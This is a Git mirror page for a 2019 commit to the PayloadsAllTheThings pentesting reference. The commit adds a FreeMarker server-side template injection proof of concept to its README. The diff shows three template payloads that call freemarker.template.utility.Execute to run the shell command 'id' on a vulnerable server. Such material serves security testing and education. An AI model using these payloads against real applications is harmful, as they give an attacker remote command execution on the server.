Mirrors/PayloadsAllTheThings
2
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2024-09-20 06:22:01 +00:00
Code Issues Projects Releases Packages Wiki Activity

Added freemarker PoC that doesn't require spaces or tags

Browse source
This commit is contained in:
Brendan Scarvell 2019-06-24 21:38:56 +10:00
parent 9be62677b6
commit 601db0e188
1 changed files with 2 additions and 1 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

1
Server Side Template Injection/README.md
View file

@ -150,6 +150,7 @@ The template can be `${3*3}` or the legacy `#{3*3}`
```js
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
```
## Jade / Codepen